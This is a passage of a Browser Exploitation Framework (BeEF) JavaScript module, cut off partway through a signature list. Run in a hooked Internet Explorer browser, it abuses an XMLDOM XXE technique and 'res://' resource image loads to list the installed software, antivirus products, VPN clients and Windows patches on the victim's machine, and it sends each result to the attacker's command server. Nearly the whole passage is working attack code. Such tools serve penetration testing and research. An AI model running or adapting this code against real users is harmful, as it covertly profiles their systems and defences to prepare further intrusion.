//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

  if (!("ActiveXObject" in window)) {
    beef.debug('[Detect Software] Unspported browser');
    beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
    return false;
  }

  var drive = 'C';
  var win_dir = 'WINDOWS';
  var program_dirs = ['Program Files', 'Program Files (x86)'];
  var xmldom_supported = false;

  function detect_folder(path) {
    var dtd = 'res://' + path;
    var xml = '<?xml version="1.0" ?><!DOCTYPE anything SYSTEM "' + dtd + '">';
    var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.async = true;
    try {
      xmlDoc.loadXML(xml);
      return false;
    } catch (e) {
      return true;
    }
  }

  // Test XMLDOM XXE technique
  for (var i = 0; i < program_dirs.length; i++) {
    var path = drive + ":\\" + program_dirs[i];
    var result = detect_folder(path);
    if (result) {
      xmldom_supported = true;
      break;
    }
  }

  // Detect software using XMLDOM XXE technique
  var software = [
    ['7zip', '7-Zip'],
    ['Acoustica MP3 Audio Mixer', 'Acoustica MP3 Audio Mixer'],
    ['Autodesk AutoCAD 2015', 'Autodesk\\AutoCAD 2015'],
    ['Autodesk AutoCAD 2016', 'Autodesk\\AutoCAD 2016'],
    ['Adobe Help', 'Adobe\\Adobe Help Viewer'],
    ['Adobe Professional 7', 'Adobe\\Acrobat 7.0'],
    ['Adobe Reader 7', 'Adobe\\Reader 7.0\\Reader'],
    ['Adobe Reader 8', 'Adobe\\Reader 8.0\\Reader'],
    ['Adobe Reader 9', 'Adobe\\Reader 9.0\\Reader'],
    ['Adobe Reader 10', 'Adobe\\Reader 10.0\\Reader'],
    ['Adobe Reader 11', 'Adobe\\Reader 11.0\\Reader'],
    ['Ahead Nero', 'ahead'],
    ['AirPcap', 'Riverbed\\AirPcap'],
    ['Apple Software Update', 'Apple Software Update'],
    ['Azureus', 'azureus'],
    ['Baidu', 'baidu'],
    ['BitComet', 'BitComet'],
    ['BitSpirit', 'BitSpirit'],
    ['BioExplorer', 'BioExplorer'],
    ['Cisco Prime Data Center Network Manager', 'Cisco Systems\\dcm'],
    ['Citrix', 'Citrix'],
    ['DbVisualizer', 'DbVisualizer'],
    ['eMule', 'eMule'],
    ['eMule', 'easyMule2'],
    ['Flash MX 2004', 'Macromedia\\Flash MX 2004'],
    ['Flashget', 'FlashGet'],
    ['Flashget 3', 'FlashGet Network\\FlashGet 3'],
    ['FoxIt Reader', 'Foxit Software'],
    ['FoxIt Reader', 'Foxit Reader'],
    ['Free Nokia Ringtone Converter', 'Free Nokia Ringtone Converter'],
    ['Git', 'Git'],
    ['Gnome Music Player Client', 'Gnome Music Player Client'],
    ['GnuPG', 'GNU\\GnuPG'],
    ['Heroku', 'Heroku'],
    ['HP AutoPass License Server', 'HP\\HP AutoPass License Server'],
    ['HP TRIM', 'Hewlett-Packard\\HP TRIM'],
    ['IceWeasel', 'IceWeasel'],
    ['IncredibleCharts', 'IncredibleCharts'],
    ['Internet Explorer', 'Internet Explorer'],
    ['iTunes', 'iTunes'],
    ['Java JRE 6', 'Java\\jre6'],
    ['Java JRE 7', 'Java\\jre7'],
    ['Java JRE 8', 'Java\\jre8'],
    ['JetBrains dotPeek', 'JetBrains\\dotPeek'],
    ['Juniper Network Connect 8.1', 'Juniper Networks\\Network Connect 8.1'],
    ['JXplorer', 'jxplorer'],
    ['Lexmark Markvision Enterprise', 'Lexmark\\Markvision Enterprise'],
    ['Magellan MapSend Lite', 'Magellan\MapSend Lite'],
    ['Microsoft Baseline Security Analyzer 2', 'Microsoft Baseline Security Analyzer 2'],
    ['Microsoft Live Meeting 7', 'Microsoft Office\\live meeting 7'],
    ['Microsoft SQL Server', 'Microsoft SQL Server'],
    ['Microsoft SQL Server Compact Edition', 'Microsoft SQL Server Compact Edition'],
    ['Microsoft Virtual PC', 'Microsoft Virtual PC'],
    ['Microsoft Visual Studio 8', 'Microsoft Visual Studio 8'],
    ['Microsoft Visual Studio 9', 'Microsoft Visual Studio 9'],
    ['Microsoft Visual Studio 10', 'Microsoft Visual Studio 10'],
    ['Microsoft Visual Studio 11', 'Microsoft Visual Studio 11'],
    ['Microsoft Visual Studio 12', 'Microsoft Visual Studio 12'],
    ['mIRC', 'mIRC'],
    ['Mozilla Firefox', 'Mozilla Firefox'],
    ['MSN Messenger', 'Messenger'],
    ['NipperStudio', 'NipperStudio'],
    ['KeePass Password Safe 2', 'KeePass Password Safe 2'],
    ['NetBeans 8.1', 'NetBeans 8.1'],
    ['NeuroServer', 'NeuroServer'],
    ['Nokia PC Suite', 'Nokia\\Connectivity Cable Driver'],
    ['Notepad Plus Plus', 'Notepad++'],
    ['Opera', 'Opera'],
    ['Oracle JavaFX 2.0 Runtime', 'Oracle\\JavaFX 2.0 Runtime'],
    ['Outlook Express', 'Outlook Express'],
    ['Paritech Pulse', 'Paritech\\Pulse'],
    ['PGP Desktop', 'PGP Corporation\\PGP Desktop'],
    ['Picasa2', 'picasa2'],
    ['Proxifier', 'Proxifier'],
    ['QuickTime', 'QuickTime'],
    ['QLogic SANsurfer', 'QLogic Corporation\SANsurfer'],
    ['radmin', 'Radmin'],
    ['Real VNC4', 'RealVNC\\VNC4'],
    ['RedGate .NET Reflector', 'Red Gate\\.NET Reflector'],
    ['Resource Hacker', 'Resource Hacker'],
    ['Safari', 'Safari'],
    ['SeaMonkey', 'SeaMonkey'],
    ['SiteKiosk', 'SiteKiosk'],
    ['Spark', 'Spark'],
    ['TeamSpeak 3 Client', 'TeamSpeak 3 Client'],
    ['TinaSoft Easy Cafe Server', 'TinaSoft\\Easy Cafe Server'],
    ['Trend Micro Deep Security Manager', 'Trend Micro\\Deep Security Manager'],
    ['TrueCrypt', 'TrueCrypt'],
    ['TopShare Portfolio Manager v2', 'TopShare Portfolio Manager V2'],
    ['Samsung USB Drivers for Mobile Phones', 'SAMSUNG\\USB Drivers'],
    ['Secure CRT', 'SecureCRT'],
    ['Serv—U', 'RhinoSoft.com\\Serv—U'],
    ['Skype', 'Skype\\Phone'],
    ['SoapUI 5.0.0', 'SmartBear\\SoapUI-5.0.0'],
    ['Thunder', 'Thunder Network\\Thunder'],
    ['Thunder', 'Thunder Network\\Thunder6'],
    ['Tencent QQDownload', 'Tencent\\QQDownload'],
    ['VLC', 'VideoLAN\\VLC'],
    ['Ultramon', 'ultramon\\ultramondesktop.exe'],
    ['Unreal Media Server', 'UnrealStreaming\\UMediaServer'],
    ['uTorrent', 'uTorrent'],
    ['VMware Workstation', 'vmware\\vmware workstation'],
    ['VMware Tools', 'VMware\\VMware Tools'],
    ['VMware Workstation', 'VMware\\VMware Workstation'],
    ['VirtualBox Guest Additions', 'Oracle\\VirtualBox Guest Additions'],
    ['Winamp', 'winamp'],
    ['Windows DVD Maker', 'DVD Maker'],
    ['Windows Journal', 'Windows Journal'],
    ['Windows Media Player', 'Windows Media Player'],
    ['Windows Mail', 'Windows Mail'],
    ['Windows Movie Maker', 'Movie Maker'],
    ['Windows NetMeeting', 'NetMeeting'],
    ['Windows Photo Viewer', 'Windows Photo Viewer'],
    ['WinHex', 'WinHex'],
    ['WinRAR', 'WinRAR'],
    ['WinZip', 'WinZip'],
    ['Wireshark', 'Wireshark'],
    ['WinPcap', 'WinPcap'],
    ['WinSCP', 'WinSCP'],
    ['XFire', 'xfire'],
    ['Xming', 'Xming X Server'],
    ['Yahoo Messenger', 'Yahoo!\\Messenger'],

    // AntiVirus
    ['360Safe', '360\\360Safe'],
    ['360Safe', '360Safe'],
    ['A-Squared Anti-Malware', 'A-Squared Anti-Malware'],
    ['Agnitum Outpost Security Suite Pro', 'Agnitum\\Outpost Security Suite Pro'],
    ['AhnLab', 'AhnLab'],
    ['ESET Smart Security', 'ESET\\ESET Smart Security'],
    ['ESTsoft ALYac Internet Security', 'ESTsoft\\ALYac'],
    ['AhnLab', 'AhnLab\\Smart Update Utility'],
    ['AhnLab V3 Internet Security Lite', 'AhnLab\\V3Lite'],
    ['Avast AntiVirus 4', 'Alwil Software\\Avast4'],
    ['Avast AntiVirus', 'AVAST Software\\Avast'],
    ['AVG 2012', 'AVG\\AVG2012'],
    ['AVG', 'AVG Secure Search'],
    ['Avira AntiVir Desktop', 'Avira\\AntiVir Desktop'],
    ['Avira AntiVir Personal Edition', 'Avira\\AntiVir PersonalEdition Classic'],
    ['BitDefender', 'BitDefender'],
    ['DrWeb AntiVirus', 'DrWeb'],
    ['eScan AntiVirus', 'eScan'],
    ['F-Secure ExploitShield', 'F-Secure\\ExploitShield'],
    ['F-Secure Internet Security', 'F-Secure Internet Security\\FSPS'],
    ['F-PROT Antivirus', 'FRISK Software\\F-PROT Antivirus for Windows'],
    ['Kaspersky Internet Security 2012', 'Kaspersky Lab\\Kaspersky Internet Security 2012'],
    ['Kaspersky Anti-Virus 2009', 'Kaspersky Lab\\Kaspersky Anti-Virus 2009'],
    ['Kaspersky Anti-Virus 2010', 'Kaspersky Lab\\Kaspersky Anti-Virus 2010'],
    ['Kaspersky Anti-Virus 2011', 'Kaspersky Lab\\Kaspersky Anti-Virus 2011'],
    ['Kaspersky Anti-Virus 2012', 'Kaspersky Lab\\Kaspersky Anti-Virus 2012'],
    ['Kaspersky Anti-Virus 2013', 'Kaspersky Lab\\Kaspersky Anti-Virus 2013'],
    ['Kaspersky Anti-Virus 2014', 'Kaspersky Lab\\Kaspersky Anti-Virus 2014'],
    ['Kaspersky Endpoint Security 8', 'Kaspersky Lab\\Kaspersky Endpoint Security 8 for Windows'],
    ['Kaspersky Internet Security 2010', 'Kaspersky Lab\\Kaspersky Internet Security 2010'],
    ['Kaspersky Internet Security 2009', 'Kaspersky Lab\\Kaspersky Internet Security 2009'],
    ['Kingsoft AntiVirus', 'KingSoft\\kingsoft antivirus'],
    ['IKARUS anti.virus', 'IKARUS\\anti.virus'],
    ['Immunet AntiVirus', 'Immunet'],
    ['JiangMin AntiVirus', 'JiangMin\\AntiVirus'],
    ['Micropoint AntiVirus', 'Micropoint'],
    ['Microsoft EMET 4.1', 'EMET 4.1'],
    ['Microsoft EMET 5.0', 'EMET 5.0'],
    ['McAfee Total Protection 2011', 'McAfeeMOBK'],
    ['McAfee Enterprise', 'McAfee\\VirusScan Enterprise'],
    ['McAfee Security Center', 'McAfee\\MSC'],
    ['Norman Scan Engine', 'Norman\\Nse'],
    ['Norton Internet Security', 'Norton Internet Security'],
    ['Norton AntiVirus', 'Norton AntiVirus'],
    ['nProtect Anti-Virus Spyware 3.0', 'INCAInternet\\nProtect Anti-Virus Spyware 3.0'],
    ['PC Tools Antivirus Software', 'PC Tools Antivirus Software'],
    ['Quick Heal Total Security', 'Quick Heal\\Quick Heal Total Security'],
    ['Sucop Antivirus', 'Sucop\\SecPlugin'],
    ['Rising AntiVirus', 'Rising\\RAV'],
    ['Rising AntiVirus', 'Rising\\RIS'],
    ['Rising Firewall', 'Rising\\RFW'],
    ['Sunbelt Software Personal Firewall', 'Sunbelt Software\\Personal Firewall'],
    ['Sophos Sophos Anti-Virus', 'Sophos\\Sophos Anti-Virus'],
    ['Sophos Client Firewall', 'Sophos\\Sophos Client Firewall'],
    ['SUPERAntiSpyware', 'SUPERAntiSpyware'],
    ['Symantec Endpoint Protection', 'Symantec\\Symantec Endpoint Protection'],
    ['Symantec Antivirus', 'symantec_client_security\\symantec antivirus'],
    ['Trend Micro Internet Security', 'Trend Micro\\Internet Security'],
    ['Trend Micro OfficeScan Client', 'Trend Micro\\OfficeScan Client'],
    ['VirusBuster', 'VirusBuster'],
    ['Windows Defender', 'Windows Defender'],
    ['ZoneAlarm', 'Zone Labs\\ZoneAlarm'],

    // Office
    ['Microsoft Office', 'Microsoft Office\\OFFICE'],
    ['Microsoft Office 10', 'Microsoft Office\\OFFICE10'],
    ['Microsoft Office 11', 'Microsoft Office\\OFFICE11'],
    ['Microsoft Office 12', 'Microsoft Office\\OFFICE12'],
    ['Microsoft Office 13', 'Microsoft Office\\OFFICE13'],
    ['Microsoft Office 14', 'Microsoft Office\\OFFICE14'],
    ['WPS Office', 'Kingsoft\\Kingsoft Office'],
    ['WPS Office Personal', 'Kingsoft\\WPS Office Personal'],
    ['WPS Office 2008', 'Kingsoft\\WPS Office 2008'],
    ['WPS Office 2009', 'Kingsoft\\WPS Office 2009'],
    ['WPS Office 2010', 'Kingsoft\\WPS Office 2010'],

    // Security
    ['Cain', 'Cain'],
    ['Echo Mirage', 'Echo Mirage'],
    ['Fiddler2', 'Fiddler2'],
    ['L0pht Crack 5', '@stake\\LC5'],
    ['Immunity Debugger', 'Immunity Inc\\Immunity Debugger'],
    ['Network Miner v2.1', 'NetworkMiner_2-1'],
    ['Nmap', 'nmap'],

    // VPN
    ['Checkpoint Endpoint Connect', 'Checkpoint\\Endpoint Connect'],
    ['Cisco AnyConnect Secure Mobility Client', 'Cisco AnyConnect Secure Mobility Client'],
    ['Cisco AnyConnect VPN Client', 'Cisco AnyConnect VPN Client'],
    ['Fortinet FortiClient', 'Fortinet\\FortiClient'],
    ['OpenVPN', 'OpenVPN']
  ];

  if (xmldom_supported) {
    beef.debug('[Detect Software] Enumerating software...');
    for (var i = 0; i < program_dirs.length; i++) {
      for (var j = 0; j < software.length; j++) {
        var path = drive + ":\\" + program_dirs[i] + "\\" + software[j][1];
        var result = detect_folder(path);
        if (result) {
          beef.debug('[Detect Software] Found software: ' + path);
          beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + software[j][0]);
        }
      }
    }
  }

  // Enumerate patches (Win XP only)
  var patches = [
    'KB2570947',
    'KB2584146',
    'KB2585542',
    'KB2592799',
    'KB2598479',
    'KB2603381',
    'KB2619339',
    'KB2620712',
    'KB2631813',
    'KB2653956',
    'KB2655992',
    'KB2659262',
    'KB2661637',
    'KB2676562',
    'KB2686509',
    'KB2691442',
    'KB2698365',
    'KB2705219-v2',
    'KB2712808',
    'KB2719985',
    'KB2723135-v2',
    'KB2727528',
    'KB2749655',
    'KB2757638',
    'KB2770660',
    'KB2780091',
    'KB2802968',
    'KB2803821-v2_WM9',
    'KB2807986',
    'KB2813345',
    'KB2820917',
    'KB2834886',
    'KB2847311',
    'KB2850869',
    'KB2859537',
    'KB2862152',
    'KB2862330',
    'KB2862335',
    'KB2864063',
    'KB2868038',
    'KB2868626',
    'KB2876217',
    'KB2876331',
    'KB2892075',
    'KB2893294',
    'KB2898715',
    'KB2900986',
    'KB2904266',
    'KB2909212',
    'KB2914368',
    'KB2916036',
    'KB2922229',
    'KB2929961',
    'KB2930275',
    'KB2934207',
    'KB2936068',
    'KB2964358',
    'KB898461',
    'KB923561',
    'KB946648',
    'KB950762',
    'KB950974',
    'KB951376-v2',
    'KB951978',
    'KB952004',
    'KB952069_WM9',
    'KB952287',
    'KB952954',
    'KB953155',
    'KB954155_WM9',
    'KB955759',
    'KB956572',
    'KB956844',
    'KB959426',
    'KB960803',
    'KB960859',
    'KB961118',
    'KB968389',
    'KB969059',
    'KB970430',
    'KB970483',
    'KB971029',
    'KB971657',
    'KB972270',
    'KB973507',
    'KB973540_WM9',
    'KB973815',
    'KB973869',
    'KB973904',
    'KB974112',
    'KB974318',
    'KB974392',
    'KB974571',
    'KB975025',
    'KB975467',
    'KB975558_WM8',
    'KB975560',
    'KB975713',
    'KB976323',
    'KB977816',
    'KB977914',
    'KB978338',
    'KB978542',
    'KB978695_WM9',
    'KB978706',
    'KB979309',
    'KB979482',
    'KB979687',
    'KB981997',
    'KB982132',
    'KB982665'
  ];

  if (xmldom_supported) {
    beef.debug("[Detect Software] Enumerating installed patches...");
    for (var i = 0; i < patches.length; i++) {
      var path = drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i] + "$";
      var result = detect_folder(path);
      if (result) {
        beef.debug('[Detect Software] Found patch: ' + path);
        beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + patches[i]);
      }
    }
  }

  // Skip software detection using 'res' scheme and EXE/DLL resource images
  // if XMLDOM XXE technique worked
  if (xmldom_supported) return;



  // Detect software using 'res' scheme and EXE/DLL resource images
  var dom = beef.dom.createInvisibleIframe();

  // Enumerate patches (Win XP only)
  var patches = [
    ["KB2964358", "mshtml.dll/2/2030"],      // MS14-021
    ["KB2936068", "mshtmled.dll/2/2503"],    // MS14-018
    ["KB2864063", "themeui.dll/2/120"],      // MS13-071
    ["KB2859537", "ntkrpamp.exe/2/1"],       // MS13-063
    ["KB2813345", "mstscax.dll/2/101"],      // MS13-029
    ["KB2820917", "winsrv.dll/#2/#512"],     // MS13-033
    ["KB2691442", "shell32.dll/2/130"],      // MS12-048
    ["KB2676562", "ntkrpamp.exe/2/1"],       // MS12-034
    ["KB2506212", "mfc42.dll/#2/#26567"],    // MS11-024
    ["KB2483185", "shell32.dll/2/130"],      // MS11-006
    ["KB2481109", "mstsc.exe/#2/#620"],      // MS11-017
    ["KB2443105", "isign32.dll/2/#101"],     // MS10-097
    ["KB2393802", "ntkrnlpa.exe/2/#1"],      // MS11-011
    ["KB2387149", "mfc40.dll/#2/#26567"],    // MS10-074
    ["KB2296011", "comctl32.dll/#2/#120"],   // MS10-081
    ["KB979687", "wordpad.exe/#2/#131"],     // MS10-083
    ["KB978706", "mspaint.exe/#2/#102"],     // MS10-005
    ["KB977914", "iyuv_32.dll/2/INDEOLOGO"], // MS10-013
    ["KB973869", "dhtmled.ocx/#2/#1"]        // MS09-037
  ];

  beef.debug("[Detect Software] Enumerating installed patches...");
  for (var i=0; i<patches.length; i++) {
    var img    = new Image;
    img.title  = patches[i][0];
    img.src    = "res://" + drive + ":\\" + win_dir + "\\$NtUninstall" + patches[i][0] + "$\\" + patches[i][1];
    img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_patches=" + this.title); dom.removeChild(this); }
    img.onerror= function() { dom.removeChild(this); }
    dom.appendChild(img);
  }

  // Enumerate software
  var software = [
    ["7zip", "7-Zip\\7zFM.exe/2/2002"],
    ["Adobe Help", "Adobe\\Adobe Help Viewer\\1.0\\ahv.exe/#2/#132"],
    ["Baidu", "baidu\\Baidu Hi\\BaiduHi.exe/#2/#152"],
    ["Cain", "Cain\\UNWISE.EXE/2/106"],
    ["Echo Mirage", "Echo Mirage\\unins000.exe/2/DISKIMAGE"],
    ["FoxIt Reader", "Foxit Software\\Foxit Reader\\Foxit Reader.exe/2/257"],
    ["FoxIt Reader", "Foxit Reader\\Foxit Reader.exe/#2/#484"],
    ["Internet Explorer", "Internet Explorer\\iedvtool.dll/2/4000"],
    ["Outlook Express", "Outlook Express\\msoeres.dll/2/1"],
    ["KeePass Password Safe 2", "KeePass Password Safe 2\\unins000.exe/2/DISKIMAGE"],
    ["Nokia PC Suite", "Nokia\\Connectivity Cable Driver\\nmwcdcocls.dll/2/131"],
    ["Notepad Plus Plus", "Notepad++\\uninstall.exe/2/110"],
    ["OpenVPN", "OpenVPN\\Uninstall.exe/2/110"],
    ["Oracle JavaFX 2.0 Runtime", "Oracle\\JavaFX 2.0 Runtime\\bin\\eula.dll/2/204"],
    ["Resource Hacker", "Resource Hacker\\ResHacker.exe/2/128"],
    ["Samsung USB Drivers for Mobile Phones", "SAMSUNG\\USB Drivers\\Uninstall.exe/2/132"],
    ["Tencent QQDownload", "Tencent\\QQDownload\\QQDownload.exe/2/132"],
    ["QuickTime", "QuickTime\\QTinfo.exe/2/101"],
    ["QuickTime", "QuickTime\\quicktimeplayer.exe/#2/#403"],
    ["VLC", "VideoLAN\\VLC\\npvlc.dll/2/3"],
    ["Immunity Debugger", "Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe/2/GOTO"],
    ["Java JRE 6", "Java\\jre6\\bin\\awt.dll/2/CHECK_BITMAP"],
    ["Java JRE 7", "Java\\jre7\\bin\\awt.dll/2/CHECK_BITMAP"],
    ["Java JRE 8", "Java\\jre8\\bin\\awt.dll/2/CHECK_BITMAP"],
    ["VMware Tools", "VMware\\VMware Tools\\TPVCGatewaydeu.dll/2/30994"],
    ["VMware Tools", "VMware\\VMware Tools\\TPAutoConnSvc.exe/#2/30995"],
    ["VMware Workstation", "VMware\\VMware Workstation\\vmplayer.exe/#2/5"],
    ["VMware Workstation", "VMware\\VMware Workstation\\vmware.exe/#2/#508"],
    ["VirtualBox Guest Additions", "Oracle\\VirtualBox Guest Additions\\uninst.exe/#2/110"],
    ["Windows DVD Maker", "DVD Maker\\DVDMaker.exe/2/438"],
    ["Windows Journal", "Windows Journal\\Journal.exe/2/112"],
    ["Windows Mail", "Windows Mail\\msoeres.dll/2/1"],
    ["Windows Movie Maker", "Movie Maker\\wmm2res.dll/2/201"],
    ["Windows NetMeeting", "NetMeeting\\nmchat.dll/2/207"],
    ["Windows Photo Viewer", "Windows Photo Viewer\\PhotoViewer.dll/2/#51209"],
    ["WinRAR", "WinRAR\\WinRAR.exe/#2/#150"],
    ["Microsoft Virtual PC", "Microsoft Virtual PC\\Virtual PC.exe/#2/150"],
    ["Wireshark", "Wireshark\\uninstall.exe/2/110"],

    // AntiVirus software
    ["360Safe", '360\\360Safe\\360leakfixer.exe/#2/110'],
    ["360Safe", '360\\360Safe\\repairleakdll.dll/GIF/154'],
    ["360Safe", '360Safe\\live.dll/#2/#203'],
    ["360Safe", '360\\360safe\\360Safe.exe/2/131'],
    ["ESTsoft ALYac Internet Security", 'ESTsoft\\ALYac\\AYUpdate.aye/2/30994'],
    ["AhnLab", 'AhnLab\\Smart Update Utility\\SUpdate.exe/2/153'],
    ["AhnLab V3 Internet Security Lite", 'AhnLab\\V3Lite\\V3LTray.exe/2/132'],
    ["Avast AntiVirus 4", 'Alwil Software\\Avast4\\ashAvast.exe/2/267'],
    ["Avast AntiVirus", 'AVAST Software\\Avast\\aswAra.dll/#2/101'],
    ["AVG 2012", 'AVG\\AVG2012\\avguires.dll/#2/111'],
    ["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\ccquarc.dll/#2/101'],
    ["Avira AntiVir Desktop", 'Avira\\AntiVir Desktop\\setup.dll/#2/132'],
    ["Avira AntiVir Personal Edition", 'Avira\\AntiVir PersonalEdition Classic\\setup.dll/#2/#132'],
    ["DrWeb AntiVirus", 'DrWeb\\spideragent.exe/#2/133'],
    ["Kaspersky Internet Security 2012", 'Kaspersky Lab\\Kaspersky Internet Security 2012\\basegui.ppl/#2'],
    ["Kaspersky Anti-Virus 2009", 'Kaspersky Lab\\Kaspersky Anti-Virus 2009\\oeas.dll/2/206'],
    ["Kaspersky Anti-Virus 2010", 'Kaspersky Lab\\Kaspersky Anti-Virus 2010\\shellex.dll/2/103'],
    ["Kaspersky Internet Security 2010", 'Kaspersky Lab\\Kaspersky Internet Security 2010\\shellex.dll/2/103'],
    ["Kaspersky Internet Security 2009", 'Kaspersky Lab\\Kaspersky Internet Security 2009\\oeas.dll/2/206'],
    ["Kingsoft AntiVirus", 'KingSoft\\kingsoft antivirus\\kislive.exe/#2/102'],
    ["Rising AntiVirus", 'Rising\\RAV\\RavUsb.exe/#2/112'],
    ["Rising AntiVirus", 'Rising\\Ris\\SetUp.exe/2/147'],
    ["ESET Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/#2/1070'],
    ["JiangMin AntiVirus", 'JiangMin\\AntiVirus\\VirusBox.exe/#2/128'],
    ["JiangMin AntiVirus", 'JiangMin\\Install\\KVOL.exe/2/202'],
    ["Micropoint AntiVirus", 'Micropoint\\mfc90.dll/#2/30994'],
    ["McAfee Total Protection 2011", 'McAfeeMOBK\\BootStrap.exe/#2/30994'],
    ["McAfee Enterprise", 'McAfee\\VirusScan Enterprise\\graphics.dll/2/202'],
    ["McAfee Security Center", 'McAfee\\MSC\\mclgview.exe/2/129'],
    ["Norton Internet Security 16.0.0.125", 'Norton Internet Security\\Engine\\16.0.0.125\\SymSHAx9.dll/2/102'],
    ["Norton Internet Security 16.5.0.135", 'Norton Internet Security\\Engine\\16.5.0.135\\SymSHAx9.dll/2/102'],
    ["Norton AntiVirus 17.5.0.127", 'Norton AntiVirus\\MUI\\17.5.0.127\\images\\cssbase.dll/2/SCANTASKWZ_SCAN_ITEM_LIST.BMP'],
    ["NOD32 Smart Security", 'ESET\\ESET Smart Security\\eguiEpfw.dll/2/1070'],
    ["Trend Micro Internet Security", 'Trend Micro\\Internet Security\\UfSeAgnt.exe/2/30994'],
    ["Trend Micro OfficeScan Client", 'Trend Micro\\OfficeScan Client\\PcNTMon.exe/2/30994'],
    ["Sucop Antivirus", 'Sucop\\SecPlugin\\SecPlugin.dll/#2/211'],
    ["Sophos Client Firewall", 'Sophos\\Sophos Client Firewall\\logo_rc.dll/2/114'],
    ["Symantec Endpoint Protection", 'Symantec\\LiveUpdate\\AUPDATE.exe/2/129'],
    ["ZoneAlarm", 'Zone Labs\\ZoneAlarm\\alert.zap/2/176'],

    // The following signatures were taken from:
    // https://www.alienvault.com/blogs/labs-research/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi
    ["Microsoft Office 97", "Microsoft Office\\OFFICE\\BINDER.EXE/16/1"],
    ["Microsoft Office 2000", "Microsoft Office\\OFFICE\\WINWORD.EXE/16/1"],
    ["Microsoft Office XP", "Microsoft Office\\OFFICE10\\WINWORD.EXE/16/1"],
    ["Microsoft Office 2003", "Microsoft Office\\OFFICE11\\WINWORD.EXE/16/1"],
    ["Microsoft Office 2007", "Microsoft Office\\OFFICE12\\WINWORD.EXE/16/1"],
    ["Microsoft Office 2010", "Microsoft Office\\OFFICE14\\WINWORD.EXE/16/1"],
    ["WPS Office Personal", "Kingsoft\\WPS Office Personal\\utility\\repairinst.exe/16/1"],
    ["WPS Office 2008", "Kingsoft\\WPS Office 2008\\utility\\repairinst.exe/16/1"],
    ["WPS Office 2009", "Kingsoft\\WPS Office 2009\\utility\\repairinst.exe/16/1"],
    ["WPS Office 2010", "Kingsoft\\WPS Office 2010\\utility\\repairinst.exe/16/1"],
    ["WinRar 3.5", "WinRAR\\WinRar.exe/6/90"],
    ["WinRar 3.6", "WinRAR\\WinRar.exe/6/91"],
    ["WinRar 3.7", "WinRAR\\WinRar.exe/6/92"],
    ["WinRar 3.8", "WinRAR\\WinRar.exe/6/93"],
    ["WinRar 3.9", "WinRAR\\RarExt.d11/24/2"],
    ["WinZip", "WinZip\\WinZip32.exe/16/1"],
    ["7zip", "7—Zip\\7zFm.exe/16/1"],
    ["Adobe Reader 7", "Adobe\\Reader 7.0\\Reader\\AXEParser.d11/16/1"],
    ["Adobe Professional 7", "Adobe\\Acrobat 7.0\\Acrobat\\Acrobat.dll/16/1"],
    ["Adobe Reader 8", "Adobe\\Reader 8.0\\Reader\\AdobeXMP.d11/16/1"],
    ["Adobe Reader 9", "Adobe\\Reader 9.0\\Reader\\AcroRd32.exe/16/1"],
    ["Adobe Reader 10", "Adobe\\Reader 10.0\\Reader\\AcroRd32.exe/16/1"],
    ["Skype", "Skype\\Phone\\Skype.exe/16/1"],
    ["Skype", "Skype\\Phone\\sktransfer.d11/16/1"],
    ["Microsoft Outlook 6", "Outlook Express\\msimn.exe/16/1"],
    ["Microsoft Outlook 2000", "Microsoft Office\\OFFICE\\OUTLOOK.EXE/16/1"],
    ["Microsoft Outlook XP", "Microsoft Office\\OFFICE10\\OUTLOOK.EXE/16/1"],
    ["Microsoft Outlook 2003", "Microsoft Office\\OFFICE11\\OUTLOOK.EXE/16/1"],
    ["Microsoft Outlook 2007", "Microsoft Office\\OFFICE12\\OUTLOOK.EXE/16/1"],
    ["Microsoft Outlook 2010", "Microsoft Office\\OFFICE14\\OUTLOOK.EXE/16/1"],
    ["Yahoo Messenger", "Yahoo!\\Messenger\\YahooMessenger.exe/16/1"],
    ["Yahoo Messenger 5", "Yahoo!\\Messenger\\YPager.exe/16/1"],
    ["Yahoo Messenger 6", "Yahoo!\\Messenger\\asw.d11/16/1"],
    ["Yahoo Messenger 7", "Yahoo!\\Messenger\\yxtldr.d11/16/1"],
    ["Yahoo Messenger 8", "Yahoo!\\Messenger\\P2PCE.d11/16/1"],
    ["Yahoo Messenger 9", "Yahoo!\\Messenger\\GIPSVoiceEngineDLL_MD.d11/16/1"],
    ["Yahoo Messenger 10", "Yahoo!\\Messenger\\ConnectionWizard.d11/16/1"],
    ["Flashget", "FlashGet\\flashget.exe/16/1"],
    ["Flashget", "FlashGet Network\\FlashGet 3\\Flashget3.exe/16/1"],
    ["Thunder", "Thunder Network\\Thunder\\Thunder.exe/16/1"],
    ["Thunder", "Thunder Network\\Thunder\\Program\\Thunder.exe/16/1"],
    ["Thunder", "Thunder Network\\Thunder6\\Thunder.exe/16/1"],
    ["eMule", "eMule\\emule.exe/16/1"],
    ["eMule", "easyMule2\\easyMule.exe/16/1"],
    ["BT", "BitComet\\BitComet.exe/16/1"],
    ["QDownload", "Tencent\\QQDownload\\QQDownload.exe/16/1"],
    ["BitSpirit", "BitSpirit\\BitSpirit.exe/16/1"],
    ["Serv—U", "RhinoSoft.com\\Serv—U\\Serv—U.exe/16/1"],
    ["radmin", "Radmin\\radmin.exe/16/1"],

    // The following signatures were taken from AttackAPI
    // https://code.google.com/p/attackapi/source/browse/tags/attackapi-2.5.0b/lib/dom/signatures.js
    ['L0pht Crack 5', '@stake\\LC5\\lc5.exe/#2/#102'],
    ['Adobe Acrobat 7', 'adobe\\acrobat 7.0\\acrobat\\acrobat.dll/#2/#210'],
    ['Ahead Nero', 'ahead\\nero\\nero.exe/#2/NEROSESPLASH'],
    ['Azureus', 'azureus\\uninstall.exe/#2/#110'],
    ['Cain', 'cain\\uninstal.exe/#2/#106'],
    ['Citrix', 'Citrix\\icaweb32\\mfc30.dll/#2/#30989'],
